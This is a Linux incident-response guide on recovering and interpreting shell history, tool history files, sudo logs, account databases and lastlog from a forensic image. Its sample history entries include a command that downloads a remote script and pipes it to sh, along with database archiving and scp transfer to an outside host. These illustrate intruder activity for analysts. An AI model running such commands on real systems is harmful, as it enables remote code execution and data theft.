Linux Shell History and User Activity Forensics

Shell history is usually the fastest route from "an account was compromised" to "this is what the intruder did". It is also one of the least reliable artifacts on a Linux host: it is user-writable, written lazily, trivially disabled and often missing timestamps. Treat it as a strong lead that must be corroborated by logs, filesystem timestamps and memory, never as a complete record.

All examples below assume a read-only mounted image at /mnt/evidence. On a live system, reading a file does not change its content, but a live shell of the suspect user may still overwrite history on exit, so acquire before you interact.

Bash history

Bash keeps history in memory and writes it to $HISTFILE (default ~/.bash_history) when the shell exits. With shopt -s histappend (set in the default Debian/Ubuntu skeleton .bashrc) it appends; otherwise the last shell to exit overwrites the file. Consequences for the analyst:

• Commands from a session that is still open, was killed with SIGKILL, or whose host lost power are not on disk.
• Concurrent sessions interleave or clobber each other; order in the file is write order, not execution order.
• HISTFILESIZE truncates old lines, so long-lived accounts lose early activity.

Timestamps with HISTTIMEFORMAT

By default there are no per-command times. If HISTTIMEFORMAT was set (in /etc/profile.d/, /etc/bash.bashrc, /etc/bashrc or the user's dotfiles), bash writes an epoch comment line before each entry:

#1727512345
cd /tmp
#1727512361
curl -s http://203.0.113.50/x.sh | sh

Convert them in bulk and keep everything in UTC:

awk '/^#[0-9]{9,}$/ {cmd="date -u -d @" substr($0,2) " +%FT%TZ"; cmd | getline t; close(cmd); next} {print t, $0}' \
  /mnt/evidence/home/deploy/.bash_history

If you find #epoch lines only in part of the file, HISTTIMEFORMAT was enabled at some point; entries without them are older or came from a shell without the variable.

Zsh and fish history

Zsh has no history file unless HISTFILE is set, which most distro and framework configs do (commonly ~/.zsh_history; check .zshrc). With setopt EXTENDED_HISTORY each line records start time and duration:

: 1727512345:0;sudo systemctl status nginx
: 1727512402:12;scp backup.tar.gz deploy@198.51.100.20:/tmp/

The first number is epoch start time, the second is elapsed seconds. Zsh "metafies" non-ASCII bytes in the file, so unusual characters may look corrupted in a plain viewer.

Fish stores history in ~/.local/share/fish/fish_history in a YAML-like format with a when epoch for every command and, sometimes, the paths it touched:

- cmd: tar czf /tmp/db.tgz /var/lib/mysql
  when: 1727512500
  paths:
    - /tmp/db.tgz

Detecting history evasion

Missing history is itself evidence, but it is ambiguous. Look for these indicators:

find /mnt/evidence/root /mnt/evidence/home -maxdepth 2 -name '.*history' \
  \( -type l -o -size 0 \) -exec ls -la {} \;
grep -rnE 'HISTFILE|HISTSIZE|HISTCONTROL|set \+o history' \
  /mnt/evidence/etc/profile /mnt/evidence/etc/profile.d \
  /mnt/evidence/root/.bashrc /mnt/evidence/home/*/.bashrc /mnt/evidence/home/*/.profile

If you have a memory image, linux.bash.Bash in Volatility 3 recovers history from running bash processes regardless of these settings. See the memory forensics guide. When ~/.bash_history was wiped but the shell was still running at capture time, RAM Parser can also pull those bash_history residuals out of a LiME or AVML image directly in the browser.

Other per-user activity files

Many tools keep their own history, and attackers rarely think to clean them:

• ~/.viminfo: command-line history, search patterns, registers and a "File marks" list of files edited with their last cursor position. Proves a file was opened in vim by that user.
• ~/.lesshst (or ~/.local/state/lesshst with less 598 and later): search strings and shell escapes used inside less.
• ~/.python_history: interactive Python REPL input.
• ~/.mysql_history, ~/.psql_history: database client queries; the MySQL client escapes spaces as \040.
• ~/.wget-hsts: hosts with HSTS contacted over HTTPS by wget, with creation timestamps. Plain HTTP downloads do not appear here.
• ~/.ssh/known_hosts: hosts this user connected to outbound. Debian and Ubuntu enable HashKnownHosts by default, so entries look like |1|salt|hash; test candidate hosts with ssh-keygen -F host -f file.
• ~/.ssh/authorized_keys: who can log in as this user. A new key is a persistence mechanism, covered in hunting Linux persistence.
• ~/.cache/: thumbnails, pip and other tool caches whose timestamps can date activity.
• ~/.local/share/recently-used.xbel: on desktop systems, an XML list of files opened through GUI applications with added, modified and visited timestamps.
• ~/.sudo_as_admin_successful: on Ubuntu, created the first time a user successfully runs sudo.

Sudo and privilege use

Sudo logs every invocation through syslog to /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL family); on systemd hosts journald captures the same messages, which matters where rsyslog is not installed:

Sep 28 09:14:02 web-prod-03 sudo:   deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/usr/bin/bash

journalctl --directory=/mnt/evidence/var/log/journal _COMM=sudo -o short-iso-precise --utc

A COMMAND=/usr/bin/bash or sudo su - entry is the point where per-command attribution usually ends: subsequent commands land in root's history, not the user's. Check /root/.bash_history for the same window. If sudoers enables log_input/log_output, full session recordings exist under /var/log/sudo-io/ by default, replayable with sudoreplay. Syslog timestamps and journal display are covered in the log forensics guide.

Account databases

Compare /etc/passwd, /etc/shadow and /etc/group with their backups (passwd-, shadow-, group-), which shadow-utils writes before modifying the originals:

diff /mnt/evidence/etc/passwd- /mnt/evidence/etc/passwd
awk -F: '$3 == 0 {print $1}' /mnt/evidence/etc/passwd
awk -F: '$2 !~ /^[!*]/ && $2 != "" {print $1, "last change day:", $3}' /mnt/evidence/etc/shadow

The third shadow field is the last password change in days since 1970-01-01. Useradd, usermod and passwd also log to the auth log (new user: name=..., password changed for ...). Watch for extra UID 0 accounts, service accounts given /bin/bash, and new members of sudo or wheel.

lastlog

/var/log/lastlog is a sparse file indexed by UID holding each account's most recent login time, terminal and source host. On x86_64 each record is 292 bytes (4-byte time, 32-byte line, 256-byte host), so you can read a record offline:

python3 -c 'import struct,sys;f=open(sys.argv[1],"rb");f.seek(int(sys.argv[2])*292);t,l,h=struct.unpack("<i32s256s",f.read(292));print(t,l.strip(b"\0"),h.strip(b"\0"))' \
  /mnt/evidence/var/log/lastlog 1001

The lastlog command reads the live host's file only. Some recent distributions replace it with lastlog2, which stores data in an SQLite database at /var/lib/lastlog/lastlog2.db. Correlate with wtmp using last -f (see wtmp and btmp).

What these artifacts do and do not prove

History shows that a command was typed in a shell running as that account, not who was at the keyboard, and not that it succeeded. A shared or compromised account, su, and sudo -i all break attribution. Tie each command to a login session using auth logs and wtmp, to file changes using inode timestamps, and to network activity using logs or packet data, then place everything on a single UTC timeline, for example with Plaso, which has parsers for bash and zsh extended history.

Key takeaways

• Bash history is written at shell exit, has no timestamps without HISTTIMEFORMAT, and is easy to suppress.
• Zsh extended history and fish history carry per-command epoch times; normalise to UTC.
• Treat empty, symlinked or stale history files as leads, but remember ignorespace is a distro default.
• Secondary files (.viminfo, .lesshst, known_hosts, recently-used.xbel) often survive cleanup.
• Sudo logs, passwd-/shadow- diffs and lastlog anchor user actions to times and privileges.
• Memory analysis recovers history that never reached disk.